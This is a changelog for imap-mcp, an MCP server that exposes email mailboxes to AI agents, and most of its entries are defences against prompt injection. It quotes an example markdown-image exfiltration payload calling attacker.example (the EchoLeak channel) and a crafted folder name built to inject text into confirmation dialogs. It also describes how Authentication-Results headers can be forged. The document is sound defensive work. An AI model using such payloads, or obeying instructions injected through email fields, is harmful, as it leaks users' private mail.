Skip to content

Changelog

0.2.0 - 2026-08-30

This is the first release published to npm, so everything below reaches a package page for the first time — including the parts that changed weeks ago.

Added

  • A container image at ghcr.io/ni-c/imap-mcp, multi-arch (amd64 and arm64), built from a digest-pinned node:24-alpine, running as a non-root user, with an SBOM and build provenance. It never writes to the filesystem unless IMAP_DOWNLOAD_DIR is set, and then as uid 1000 — a bind mount has to be owned by that user on the host.

  • A published npm package, @ni-c/imap-mcp, with provenance, released through GitHub Actions with npm Trusted Publishing. The unscoped name belongs to an unrelated project.

  • README: a container badge, the architecture diagram, install snippets for Claude Code, Claude Desktop, Codex and Docker, and a demo recording. The documentation site at imap-mcp.ni-c.de is now actually served.

  • IMAP_ALLOW_TOOLS and IMAP_DENY_TOOLS choose which of the eleven tools are registered. Both take comma-separated tool names or a prefix with a trailing *, the allow list decides what is in and the deny list is subtracted from it, and IMAP_ALLOW_TOOLS=essential selects a curated six — list_mailboxes, list_new_messages, list_messages, get_message, set_message_flags and move_messages. Four of those are read tools, so the preset stays a working combination under the read-only default. Nothing changes for an installation that sets neither.

    A filtered tool is not registered at all, so it is absent from tools/list and answers tools/call with "tool not found" — the same cut IMAP_READ_ONLY already makes, not a second, weaker one. It covers tools: the attachment resources are not filtered.

    An entry that matches no tool stops the server at startup, naming the entry and listing the real names. Under the read-only default, an exact write-tool name in the allow list is refused with a message naming IMAP_READ_ONLY instead of calling the tool unknown — which matters more here than elsewhere, because read-only is the default rather than something you remember switching on.

  • A documentation site at imap-mcp.ni-c.de, an architecture diagram generated from a single source, server.json registry metadata, and CI and docs workflows. The workflows ship disabled: this repository is private and its Actions minutes are worth keeping, so npm run lint && npm run build && npm run test:coverage locally is the whole of the verification until they are switched on.

Changed

  • IMAP_ALLOW_WRITE is now IMAP_READ_ONLY, for one name across the family — but not one default. Everywhere else <PREFIX>_READ_ONLY defaults to false; here it defaults to true, because the variable it replaces was opt-in and a rename that quietly flipped that would have handed write access to every installation that upgraded without reading this file. Only the literal string false turns it off, so a typo fails closed.

    An installation that still sets IMAP_ALLOW_WRITE refuses to start, with a message naming the replacement. Silently ignoring a removed security variable is worse than refusing: whoever set it once believes it is still in force.

  • The SPF/DKIM/DMARC verdicts are read from the topmost Authentication-Results header only and come with the authserv-id, so a forged copy sitting below the receiving server's own is ignored. Whether the topmost one can be trusted at all is IMAP_TRUSTED_AUTHSERV_ID, above.

  • Thread subjects and sender names in the get_message metadata block are now named as sender-chosen in its caveat, and the injection-shape detection runs over the metadata block too, not only over the message body.

  • get_attachments no longer advertises readOnlyHint: true when IMAP_DOWNLOAD_DIR is set — with a download directory configured it can create files, and clients that auto-approve read-only tools should ask.

  • Reference- and shortcut-style markdown images (![alt][id], ![id]) are defused alongside the inline form.

  • The HTML-stripping passes use bounded scan windows, so crafted HTML full of unclosed tags can no longer burn minutes of CPU; hidden elements larger than the window are left to the fencing, which was always the real defence.

  • A long References chain in a draft is folded across lines instead of emitting a header line beyond the RFC 5322 998-octet limit.

  • Confirmation tokens are compared in constant time.

  • IMAP_HOST no longer accepts a colon outside an IPv6 address, matching what the error message always said.

  • The inline image result uses the allowlist-checked declared content type rather than the unchecked one from the download metadata.

Security

  • The attachment resources are covered by the tool filter, and bounded by the inline budget. IMAP_DENY_TOOLS=get_attachments removed the tool from tools/list and left imap://message/{uid}/part/{partId} fully live — the same door, still open, with the narrowing looking complete. They also read up to IMAP_MAX_DOWNLOAD_BYTES (25 MB by default) and returned it base64 in one JSON-RPC response; that limit exists to bound what may be written to a file, and IMAP_MAX_ATTACHMENT_BYTES now applies instead, as it always did for the tool.

  • A binary attachment requested inline is refused rather than base64-encoded without limit. textResult applies no budget, so up to IMAP_MAX_ATTACHMENT_BYTES x 1.37 of base64 went into the model's context against a stated cap of 200 000 characters, scaling with a variable raised for an unrelated reason. Truncating would be worse than useless — half a PDF decodes to nothing — so the refusal names the two ways to get the bytes.

  • get_message checks the size of the message it received, not just the size it asked for. imapflow's maxLength bounds the request; a compromised server, or anyone in the way of an IMAP_TLS=none connection, could stream more than that straight into the parser. Every attachment path already went through readCapped; this was the one that did not.

  • The forgeable flag on SPF/DKIM/DMARC verdicts is now honest, and there is IMAP_TRUSTED_AUTHSERV_ID to make it useful. The old rule compared the header's authserv-id against the account's own domain and reported a match as not forgeable. A sender knows that domain — they just addressed mail to it — so on any account whose provider adds no Authentication-Results of its own, the sender's header was the topmost one and Authentication-Results: mail.<your-domain>; spf=pass; dkim=pass; dmarc=pass bought a spoofed message this server's own vouching. Nothing in a message can settle who wrote that header, so the operator now names the id their provider stamps; unset, every verdict is reported as forgeable, which is what "pass, says a header anyone could have written" actually means.

  • Auto-fetch markup is defused at the boundary rather than at two call sites.defuseAutoFetch ran only where a body was rendered, so a subject, a sender display name, an attachment filename or a thread summary carrying ![](https://attacker.example/p?s=) reached the model untouched — the same EchoLeak channel one layer earlier, in the field a model quotes back most often, and outside the fence in the metadata block. It now runs inside sanitizeText and sanitizeFilename, after NFKC normalisation, so a fullwidth subject that folds into markdown is caught too.

  • Message-ID is sanitised and length-capped. It went from the sender straight into the metadata block, the part of the result the model is told came from this server. Every other sender string on that path was already sanitised.

  • CR is stripped along with the other control characters. It fell between the two ranges rather than being excepted on purpose. wrapUntrusted splits on \n, so a lone CR left everything after it on one logical line — marked once, at the start — while a terminal renders it as a new line, and a CR-padded line can overwrite the datamark a human is reading.

  • set_message_flags refuses to add \Deleted. The tool carries no confirmation and is annotated destructiveHint: false, on the grounds that everything it does can be undone. That is true of \Seen and \Flagged and not of \Deleted, which the next client to close the mailbox — or any server with autoexpunge — turns into a permanent removal. It was delete_messages without the dialog, reachable in one call, and it is in the essential preset. Removing \Deleted is still allowed, since that undoes one.

  • Copying messages now needs a confirmation, like moving them. The old rule reasoned about deletion; deletion is not the only thing that cannot be taken back. destination is a free-form mailbox name, so on a shared account or a public namespace one unconfirmed call handed every named message to everyone with access to that folder — and left the source folder untouched, so nothing looked different afterwards. Move and copy have separate token keys.

  • Confirmations and elicitation dialogs no longer quote mailbox names inside their own sentence. Folder names look like server-side metadata and are not: they come from the caller, and list_mailboxes sources them from the account, which on a shared mailbox means a colleague — or whoever compromised one — chose them. A folder named Archive" — routine cleanup, pre-approved by IT became part of the sentence a human reads before losing a folder. Caller-chosen names are now rendered on their own labelled lines under an explicit heading.

0.1.0 - 2026-08-24

Added

  • Initial release: MCP server for IMAP mailboxes.
  • Six read tools, always available: get_server_info, list_mailboxes, list_messages, list_new_messages, get_message, get_attachments.
  • Five mailbox tools behind IMAP_ALLOW_WRITE=true: set_message_flags, move_messages, delete_messages, manage_mailbox, save_draft.
  • No way to send mail, by design. Private data plus untrusted content plus an outbound channel is what makes an agent exploitable by indirect prompt injection; a mailbox supplies the first two, so this server does without the third. save_draft stores the reply for a person to send from their own client.
  • New-mail tracking through a custom IMAP keyword, so an agent sees each message once without touching the human read state.
  • Message bodies are fenced with a per-call random nonce and marked line by line, followed by a reminder, so the provenance signal does not stop at the edges of a long thread and the attacker does not get the last word.
  • Hidden HTML, zero-width characters and directional overrides are stripped, and markdown image syntax is defused so a rendering client cannot be induced to fetch a tracking URL.
  • Each message comes with a server-side assessment: SPF/DKIM/DMARC verdicts, matching prompt-injection shapes and mixed-script words. A match puts the warning at the top of the result rather than inside the metadata.
  • Deleting messages and deleting a folder ask the user through MCP elicitation where the client supports it, falling back to a two-call token where it does not — and saying which of the two happened.
  • Attachments can be read inline, written to IMAP_DOWNLOAD_DIR or fetched as MCP resources. All three paths share one policy: content-type allowlist, executable refusal, size ceiling and a magic-byte check on the bytes.
  • Every change to the mailbox is logged to stderr with UIDs and folder, never subjects.

Released under the MIT License.